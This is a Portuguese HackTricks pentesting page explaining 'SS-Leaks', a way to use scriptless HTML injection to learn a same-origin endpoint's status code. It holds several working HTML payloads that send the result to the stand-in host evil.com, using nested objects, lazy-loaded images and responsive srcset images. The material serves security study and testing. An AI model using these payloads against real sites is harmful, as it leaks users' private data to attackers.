hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/ss-leaks.md

85 lines
6.9 KiB
Markdown

# Vazamentos de SS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Este é um **mix** entre **marcação pendente e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** daquela que estaremos atacando. Por outro lado, não **atacaremos** diretamente a página onde podemos injetar HTML, mas **outra página**.
## Objetos Aninhados
Se o endpoint <mark style="color:yellow;">`/api/v1/leaky?secret=a`</mark> retornar um código de status 404, então o `object` interno é carregado, dando um retorno de chamada para <mark style="color:yellow;">`https://evil.com?callback=a`</mark> e nos informando que a consulta de pesquisa `a` não produziu resultados.
```html
<object data="/api/v1/leaky?secret=a">
<object data="https://evil.com?callback=a"></object>
</object>
```
### Carregamento Preguiçoso
E se o CSP bloquear objetos externos? Vamos tentar novamente com o seguinte CSP:
<mark style="color:yellow;">`Content-Security-Policy: default-src 'self'; img-src *;`</mark>
Nosso callback `object` de cima não funciona mais. Em seu lugar, podemos usar o [carregamento preguiçoso](https://developer.mozilla.org/pt-BR/docs/Web/Performance/Lazy_loading) de imagens! A seguinte imagem só será carregada quando estiver visível e dentro de uma certa distância da viewport.
```html
<object data="/api/v1/leaky?secret=a">
<img src="https://evil.com?callback" loading="lazy">
</object>
```
### Imagens Responsivas
A técnica acima é ótima, mas depende da nossa injeção de HTML estar dentro da área visível do usuário.
Se a injeção estiver fora da tela e o usuário não rolar, ainda podemos vazar dados? Claro, podemos usar IDs de elementos e [scroll-to-text-fragment](https://chromestatus.com/feature/4733392803332096) para criar uma URL que force uma rolagem, mas isso depende da interação do usuário e não nos permite obter vazamentos consistentes em um cenário do mundo real. Idealmente, queremos utilizar a injeção de HTML armazenada de forma confiável.
Aqui entram as imagens responsivas! Especificamente, os atributos `srcset` e `sizes` das imagens.
{% code overflow="wrap" %}
```html
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://evil.com?callback=1 480w, https://evil.com?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
```
{% endcode %}
Há várias coisas para entender aqui. Primeiro, lembre-se de que o iframe interno só será visível se o ponto de extremidade vazado retornar um código de status 404.
Isso é importante porque agora vamos carregar condicionalmente a imagem dentro do iframe a partir de dois URLs diferentes. Usando o atributo `sizes`, podemos usar [media queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS\_media\_queries/Using\_media\_queries) para escolher qual URL carregar a imagem, dependendo do tamanho da viewport.
{% code overflow="wrap" %}
```html
<img
srcset='https://evil.com?callback=0 800w, https://evil.com?callback=1 480w'
sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'
>
```
{% endcode %}
Porque nosso iframe tem `width="1000px"`, o seguinte acontece:
1. Se o endpoint vazado retornar um código de status 404, o iframe é exibido e tem uma largura de 1000px. A imagem dentro do iframe corresponde à media query `(min-width: 1000px)` e carrega a imagem de 800px de `https://evil.com?callback=0`.
2. Se o endpoint vazado retornar um código de status 200, o iframe _não_ é exibido. Como a imagem não está sendo renderizada como parte de um iframe grande, ela corresponde à media query `(max-width 999px)` e carrega a imagem de 480px de `https://evil.com?callback=1`.
## Referências
* [https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks](https://infosec.zeyu2001.com/2023/from-xs-leaks-to-ss-leaks)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>